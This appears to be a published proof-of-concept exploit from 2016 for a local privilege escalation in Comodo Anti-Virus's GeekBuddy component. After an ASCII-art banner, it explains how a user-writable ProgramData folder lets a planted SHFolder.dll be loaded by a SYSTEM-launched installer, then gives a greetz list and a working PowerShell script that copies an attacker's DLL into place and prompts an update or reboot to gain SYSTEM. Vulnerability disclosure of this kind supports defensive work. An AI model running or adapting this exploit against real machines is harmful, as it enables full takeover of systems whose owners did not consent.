Comodo Anti-Virus GeekBuddy DLL Hijacking
Posted on 01 March 2016
<# ````......```` ``,;''''''''''''''''';,` .;''''''''''''''''''''''''''',` `:''''''''+';:,.``````.,:;'''''''''':` ,;'''''';,.` ``,;'''''';: `:'''''',. `,'''''';. `;+''+':` ,; `,''''';. `;'''';. `` .:;'` `. `;'''''. ` :+''';` `,``:+'' ';;'`,''; `` `` :'''';` .'''';` ,';' '':'` ';,'`'',' :''' .''` :'''', `;''''` ;'' :+.` ;';, ';:' ''''`,;:+ '', `;''''` .''''. ;:`, .'.':`'''.:;`;. +;:' '::; ;''' '; .'''', :''';` ` '''',`':'' ..;:`','` '''' ':;;`'`';`':` :; :'''; ;''+, .;`.'.'' ';.'`';': ,:. ` ` ` `,: .';',,'`;'.`';': .+'''` `''''` ;'; ''.'.,','` ,` ``;`'' .`;'`''+: ;'''` `'''' ., .'' ,'.'' ;;. ```````` `. ``'::'`;; ` :'''. ``''': `+,` .':`'',' `,;''''''''''+'':.` ;'.+:;'``': .'''. `''', '', ''`:; `:'''''''''''''''''''''';. `;'`': ''`'` .''', `''', ` `''` `'; .''''''''''''''''''''''''''''';` `.;' ;'.''`.: `''', `''', :''.`'' ` ,;'''''''''''''''''''''''''''''''';. ` `,.'::', ''` .'''. ''', '.''`,': ,'''''''''''''''''''''''''''''''''''''', ` .+,'; ''; .'''` ''': ''`'' ;. `'''''''''''''''''';:::;';'''''''''''''''''. ;' :': ,,` .''' :''; `''.'` ` :''''''''''''';:::.', `''';`:;'+'''','''''+; `,'; :''' ,''' .''' `` .++; `''''''''''''`. `': '''; `:''' :'''''''. .+ :''.+. :'': `''+ :'': `` ,''''''''''''' `': '''; `: ,'''''''': .`''.'' ` '''` ;''. `+.',; ;'''':''''''''; ` ', .'''': ` :''''';'''; `'.',`,', `+'' ,'': '';,'. ;''''':''''''''`+` ;..`;'+''. '.:''''';'''''```.+' +:'` .''; `''' `;``+',;.` ;''''':''''''''.'; `;'', '` '' ;''''','''''` ;,+.+. ;''. ;'+. :'': ;': ;'''''':''''':',''. `'';.+' '` ,'; .'''';''''''` `+.':` `''' `'': .+`;''` ` ;'''''':''''''.::''. .''. :: `'';`,'''':''''''` :+'. ,'', '''` :''.:'' :''''''':'''''; :'''' .'', `.,; :+'`''': ;''',''''''' ,` ''' .'': `'';`` ,''''''':;''''':`''';', ,''+` ,+':' +'''''''`,'''''''''''; .+` .'': ''' `''. :', `''''''':`'''''+.;';.:::::::,,''';`'': . .'''''''; ''''.''''''', ` ;'': ''' .'', ','';`. '''''''; :'''''' `,;'''''''''.``` . ''''';:,`:;''+`'''',,'''''''` :'';` `+': '''` ''.,'; ;''''''; ''''',`,'''''''''''''.....,,,.`''''''''';;,,;.''''; :''''''' '''. ;'' `'': .'';:; `'''''''` .+'', ,''''''''''''; '''''''++`''''':..:'''' `''''' ;'''''', ., `` .'', ` :'' :''` ''''''+` ;''``;'''''''''''''':``,,.`````,'''''. ';.;'''` `'''''''` .++. ''; +'' ,'''''': ;+`,'''''''''''''''''+''';;;;'''''''+` :;+,`''. `.''''''; .+'''` :'+` ,''. ': +'''''; ,,;''''''''''''''''''''''''''''''''''. `.::,` `';.', ;''''''` :'': `. `''; ;'' :;.;': ,''''''. `''''';;;,`.:'''''''''''''''''''''''''.;''''''':`;;;, `''''''; `.; .;'+` ;'' '': ` ;';';' ''''''; ''';;''''''',`.'',` .:;;''''''''''.,'''''''''''.;;. ,'''''' `;''''. .''` .''. .';`;' .''''''. :+;;''''''''''': ;' ::::...;''+'':,'''';..``;''';. ''''''; `:''.`': `'': :'' ` ,'` ;''''''. :;'''''''''''''';`;, `,''';` .:;;;'''': ,'''''' .,''', ''' ;'; ''';,` `''''''''''` :''''''''''';.:'''`';:` ,''';`;''''''''''', ''''''. ;';,` :''` `'', .;,'''; ,'''''''''' ;'''''''''':` :'''`::` ``'''',+''''''''''''+` ;'''''; .``.:;` `''. .''` `+;'`;` '''''''''';.'''''''',` ''';` :''';'''';::;'''''';; ` `''''''` ;'';;; `+': :'' ..;'' `''''''''''`'''''''', .'''` `+''';''. ,'''''''''''''''''''''''''''''''''''''':` ;'' :. `` .'''''''''';'''''''' ;''; ;''':::` :'''''''''''''''''''''''''''''''''''''''', ;': '''':` :'''''''''''''''''',` .''' ''''. `+''''''''''''''''''''''''''''''''''''''''' '', :,;'': ;''''''''''''''''''` ;''... :''''` :''''''''''''''''''''''''''''''''''''''''''` `''. `+'':,` ''''''''''''''''''; ,'';.+` . ,;''' `''''''''''''''''''''''''''''''''''''''''''; .''. `.,;'; '''''''''';''''''', ''',+. `` .' .''' ''''''''+'''''''''''''''''''''''''''''''''', .'+` ;''''' `` '''''''` `;''''.'++','`+.''' ''''''; `;+'''''' ,'' ''''';; ,'''';'''';'``.''' :''''''` .'''''': :'+ '''''': .'''';'''';'` .''' ,''''''` ,'''''; :'' ,''''', ''''''` .'''';'''';', .'''` .''''''` '''''' ;'' `''''''; :''''', '''''' .'''';'''';':,''''. .''''''` '''''' ;'' `';''''' :''''', :''''; :''''''''';''.''''' `''''''` ;''''' ;'' :''''', ,''''' `+''''''''':''.'''''` ,'''''; '''''' :'+ ,''''', `'''''. ,'''''''''':''::''''; ;''''': `'''''' :'' ```. ,''''': ''''': `''''''''''',''+`'''''. `''''''. :'''''' ,''` `''''''' .'''''; `''''': '''''''''''';''',,''''', ''''''' ,'''''', .''` `''':,.; `'''''' `'''''': '''''''''''''';'''`'''''':. `,''''''', .'''''''' `''` `,;;;''` '''''' `'','''';,` `,''''''''''''''',''':.''''''''''''''''''':` ;'''''''''''''''''''''''''''''', '', `+';;, '''''' `''`,'''''''''''''''''''''''''''':''''.:''''''''''''''''',+ ''''''''''''''''''''''''''''''; '': ` `,. ;'''''. `''' .''''''''''''''''''''''''''''.''''`;''''''''''''''':;; `''''''''''''''''''''''''''';'; ;'; ,''''; :''''': `''''``'''''''''''''''''''''''''''`:''''`;''''''''''''';,', ,''''''''''''''''''''''''''''; ;'' ';;,.. .'''''' `''';; :''''''''''''''''';'''''''. '''''`;'''''''''''';+'` ;'''''''''''''''''''''''''';. :'' `,:;''' ''''''` `'''`';` `;'''''';,''''''';''''''', .'''''..''''''''''''+: '''''''';''''''''';''''';,` .''. .''',` ;''''': ` ''':;''. ````` :+'''''',;''''''', '''''';..;''''''''''` `'''''' `,'': `+': '': ` .;. ,'''''+ .'';,'''''''';:''''''''','''''''': ;'''''''''.`,''''''' ;'''''; ,'', .''. ''; :+.++` `''''''. +'''`'''''''''''''''''''.''''''''', .''';;'':,,'''''''', ''''''. ':''', :''` :'' ,';:.'. ;'''''' ''''.:''''''''''''''''';;'''''''''''.'''. `:;'''''':'': :'''''' ';,.:' ''' .''. .;:''' .''''''` ,'''':`''''''''''''''''':''''''''''';''''.`;'''''''''.'''', '''''': ,'''', `'': ''; ;';, ;` '''''';.+''''' ''''''''''''''''':''''''''''': :'':'''''''''',;''''': :'''';' ,. .;: ,''` ;'' `;', `,'''''''''''''.,'''''''''''''';','''';:.`` `,.;'''''''''''.+''''''.''''''; ,'+'. ''' .''. '''';` ''''';''''''';`'''''''''''''':.'';:,;'''':` ,:`:''''''''','',`:''':''''''` '.:''' `'': ''' :'': `:. ,'''';;'''''''`;'''''''''''',:';`:'',,``.:'. `':`+''''''';:'',':';.''''''; `'''..' :'' :''` `,. ;:++` ''''';,'''''';`''''''''''';;',.''....,.. ,';:.'.`'''''''.'''','';+'''''' ;. ,+''` ''; `'': `'',`;: `'''''',''''''.:''''''''''`+.,';:''''''';.:''':'`,''''''`'''':''''''''', :':;` ,' ,'', ;''` `+.''+` ` :'''''','''''' '''''''''' `.'''''''''''''::'''', +'''':,''''`;'''''''' +.''+; ''' `'': ;'';` ` ''''''':''''';`'''''''', '''''''''''''''.,''''`''''',:''''`,'''''''` '''.:'; .'': ''+` ,` ,+: `'''''','''''':`'''''''` :'''''''''''''; ;'''`+''''`;'''':+''''''.` ` :'':;, ''' .'': ;';''. .'''''';'''''',`'''''+ ''''''''''''''` .,'';.''''' '''''''''''': +'``;'; .'', ''+` :''; ,'` :''''','''''''.,''''' ,'''''''''''''' :''''';''''','''';''''''; ,.''. .`` ''' `';; `+. ;'':' :''''':'''''''.:'''; ;''''''''''''': `'''''''''''.'''''.'''''' :';`''; :''. :'',` `'':.''` ;'''';;:''''''`'''; '''''''''''''': .'''''''''''.''',;'''''' ` :''.'''` `''' ''' ;'.:''` ;''''';:''''':''';.'';''''''''''': ,'''''''''':;'':+''''''` .''``'+',: '''` .';; `;;'; ` :''''':'''''';'''`'';''''''''''': ,''''''''''`''';'''''; .,''` :` ,'': ;'', `', `'. ,''''';''''';'''''':''''''''''': .''''''''',`+';,''''; ``.'''; ``''' '''` `'';: ` .'''':'''''`'''''';;''''''''''; `'''';'''',.`''+,'', ,'`:'''''` '''` .''' ;'.'' `;''''''''.''''''':'''';:,''';. ,''';''''',;'''',` `;''''''';. ;'', ,''; ''.;', ,';''''';,''''''`+,` .;:;''',,'';'''+.;''''',```:+,''''''''''.:''; ;''; ''';', '. `,''''''.'''''' `.:;'+''''+''';.,.''':,''''''` ``'''''''''''''','' ''': .,,': :': +''''''',''';.:'+,.` `.:''':`''''''''''; `'':'''''''''''''',` ''': ` .'' `'`;'''''''..,.:+,` ``.,.` ,'''`;'''''''+.';'.:'''':;'''''+:.'` ''': ;:`+'` ,:..,''''''; .+: `:'+''''';` ;'; .''''': `:';:+''';`''''''. .': `'''; ; ;'. .';'`;'''',;'. .+''''''''''` ;;'+:'''; .+'''''''';''''''.;,''; `'''' ,'; :'`'`;'''':+` `'''''''''''': ;'';'''`;''''''''''''''''',.'''; `'''' ` ` `':. ';''.+. `''''''''''''; `'''''::'''.'''',`'''''': :';;'' ''''. :;,'`:'.';', '''''''''''': ,'''','''..''': '''';;:,''. `'' :''': `.+'' '''',' :''''''''''+. ''''''':`'''' .''';:;`.'.:' '; ,''''` `,` ',;:'. `;;;,``'''::::;''; :';, ,'''''' ;'''` +'''.''+'.:'+`': `'''': ` ;'':' '''''+;.; `` ,:`''''', `'''''`,'''' :'''.''''..''','. :''''. .,': :'''''''.`;'''';` .''''''` '''':`+'''``''',;'''``''';:'. `'''''` `.'` ''''''';`'''''''': ,'''''; ;'''`''''; ''';:'''. ;''','' ,'''''` `.'` '''''''.'''''''''', +'''''` ,'';.''''`''''`+''' ,''''`.: :''''', .' '''''''.'''';:.,'''`''''''. .''''''':.''',;'''``;,',' '. `:+'''';..; '''''':,''':'''.:''.'''''': `'`''''' ''''`''': ' ::.:`+ `,''''':' ''''''::''+`''',;''.;''''', `'.'''';`'''.;'''`:.,+`'`,: .;+':' '''''';.''''';`,'''.''''''` `'.''''.,'''`'''.`;`+;`' + .:+` '''''''`''''''+'''+.'''''; .' ;''' ;''.;,'' ' ''.:``: '. :'''''':.+'''''''',;''''', ;: ;''; '''.'.,;,,:'' '`' ;; `'''''''``;'''''',`,''''' `'` ''',.''',.:;`' ''.,.`; .+ ''''''' ` `.,,.`'; '''; :; `''+`;'';;: :.;`',`; ;` +: `'''''``';;;;;'''', `` `+. `''' '''::;;:;`;'`;.., ,' ``.. `+''''''''''+` :' `'';`''':. ,.',''.; ' `+' :'''''''''''', `+.` '',.''',. :,''''+ ; .', ;''''''''''''. ': ''.,''':` ;.''''.,. :'. :''''''''''', ;'` ''.:''',':;.''':.: ''. ,:''''',` ;+` :'.:'''' ':`''; ; `'', ''. ::,''''``; :, ' ;+;` .'+` ``'':'`,; '`` ,'';. `.'';` :';'.,; '. `,''';:::::;'''. ``+;' +` `,:''''';,` ,,; SHFolder.DLL Local Privilege Elevation Exploit for Comodo Anti-Virus GeekBuddy Component by @Laughing_Mantis (Greg Linares) Since it took 146 days to fix a DLL Hijack issue I decided to drop this PoC: ###Technical Geeky Stuff### GeekBuddy stores several helper applications within the C:ProgramDataComodolps4 emp folder. These binaries are individual components of the Comodo Security Suite and are executed whenever their related function is performed, updated, or uninstalled. The directory listing is as follows: 10/06/2015 12:08 AM <DIR> . 10/06/2015 12:08 AM <DIR> .. 10/02/2015 10:43 PM 27 download.cfg 10/02/2015 10:47 PM 637,864 setup_clps_application_vulnerability_monitor_release-4.10.307677.9.exe 10/02/2015 10:44 PM 2,196,272 setup_clps_autoruns_manager_api_release-4.14.330616.6.exe 10/02/2015 10:44 PM 547,088 setup_clps_boot_time_monitor_release-4.12.315371.9.exe 10/06/2015 12:07 AM 1,014,024 setup_clps_browser_addons_api_release-4.0.292287.4.exe 10/02/2015 10:44 PM 554,240 setup_clps_browser_addons_monitor_release-4.12.315370.6.exe 10/06/2015 12:06 AM 950,864 setup_clps_client_transaction_release-4.19.365037.89.exe 10/06/2015 12:08 AM 563,896 setup_clps_cross_selling_installer_monitor_release-4.12.318569.13.exe 10/02/2015 10:43 PM 768,032 setup_clps_cspm_alert_monitor_release-4.19.360508.5.exe 10/06/2015 12:08 AM 581,432 setup_clps_immaturely_closed_sessions_monitor_release-4.21.366534.6.exe 10/02/2015 10:47 PM 459,432 setup_clps_memory_monitor_release-4.10.301764.3.exe 10/02/2015 10:46 PM 1,152,480 setup_clps_system_cleaner_api_release-4.2.292287.3.exe 10/06/2015 12:07 AM 1,989,272 setup_clps_system_cleaner_monitor_release-4.12.317464.8.exe 10/06/2015 12:07 AM 648,912 setup_clps_windows_event_monitor_release-4.19.362032.8.exe 10/02/2015 10:43 PM 1 survey_version.txt 10/06/2015 12:05 AM <DIR> updates The C:ProgramDataComodolps4 emp folder has the following permission configuration: C:ProgramDataComodolps4 emp NT AUTHORITYSYSTEM:(OI)(CI)(ID)F BUILTINAdministrators:(OI)(CI)(ID)F CREATOR OWNER:(OI)(CI)(IO)(ID)F BUILTINUsers:(OI)(CI)(ID)R BUILTINUsers:(CI)(ID)(special access:) FILE_WRITE_DATA FILE_APPEND_DATA FILE_WRITE_EA FILE_WRITE_ATTRIBUTES Notice how the folder allows Users to have FILE_WRITE_DATA and FILE_WRITE_EA access. This allows non-administrator users the ability to create files in the directory but not delete or modify existing files. Comodo's main service engine is controlled by the SYSTEM service Launcher-Service.exe which resides in the C:Program Files (x86)Common FilesCOMODO folder. This service is auto launched by the registry key HKLMSystemCurrentControlSetServicesCLPSLauncher This binary will then launch Unit_Manager.exe in the C:Program FilesCOMODOGeekBuddy with SYSTEM level privielges. This binary in turn then launches the binary C:Program FilesCOMODOGeekBuddyunit.exe to handle each sub process in the C:ProgramDataComodolps4 emp folder. During client connections to update servers and Geek Buddy executions the unit.exe binary will launch the binary setup_clps_client_transaction_release-4.19.365037.89.exe. This setup binary has hardcoded DLL loading procedures to look for SHFOLDER.DLL in the current directory which it is executed from. .data:00409240 dd offset aShfolder ; "SHFOLDER" .data:00409244 dd offset aShgetfolderpat ; "SHGetFolderPathA" During this delay load procedure the exe will load SHFOLDER.DLL from its local directory before looking in the other PATHS variables. By planting a malicious SHFOLDER.DLL in the C:ProgramDataComodolps4 emp and triggering an update or client connection to secure servers (which occurs automatically at user login) a user can elevate their privileges to SYSTEM and compromise the system fully. ######### GREETZ ###################################################################################### 1st off all my new homies in the Vectra Networks Research Team - you guys are seriously legit mad #respect to everyone here. #Humbled @taviso - keep killing it and thanks for being an inspiration @bill_billbil - sup girl chicken rico n chill @tacticalRCE - Its no 100 mile rides but will miss all the good times. C-ya around mang. @hellNBak_ - drop tehm greetz like its 2003 @hacksforpancakes - make plans for other NullCon in 2016 ;) @jduck - we gonna juke some more toyotas next time you come visit @hdmoore - good luck with your ventures good sir @jsoo - dont give up good sir - you're doing awesome @thegrugq - when i grow up i hope im half as wise as you good sir @daveaitel - Triangular Anus logos are the best @da_667 - AYYYYYYYYYYYYYY LMAO @bonovoxly - Clever Girls Wear Pink on Wednesdays Derek Soeder - Respect to you brother, keep on being awesome Benny 29A - next time im in CZ lets get beers, im buying Yuji Ukai - #RESPECT to everything you have ever done and will ever do. #Ninja Sizzop - for fixing my greetz ######################################################################################################### #> Param ( [Parameter(ValueFromPipelineByPropertyName = $true)] [string]$DLL = "" ) if (!(Test-Path $DLL)) { throw "Fatal Error: The specified file: $DLL does not exist." } Copy-Item -Path $DLL -Destination "C:ProgramDataComodolps4 empSHFolder.dll" -Force Write-Host "Copying $DLL to the Comodo AV GeekBuddy's insecure temp folder as SHFolder.dll" -ForegroundColor Red [void][System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") $objNotifyIcon = New-Object System.Windows.Forms.NotifyIcon $MyPath = Get-Process -id $pid | Select-Object -ExpandProperty Path $objNotifyIcon.Icon = [System.Drawing.Icon]::ExtractAssociatedIcon($MyPath) $objNotifyIcon.BalloonTipIcon = "Info" $objNotifyIcon.BalloonTipText = "Hijacked SHFolder.DLL with $DLL. Now manually update Comodo Anti-Virus using the GUI or Reboot the system to gain SYSTEM Level Privileges" $objNotifyIcon.BalloonTipTitle = "@Laughing_Mantis" $objNotifyIcon.Visible = $True $objNotifyIcon.ShowBalloonTip(8000)
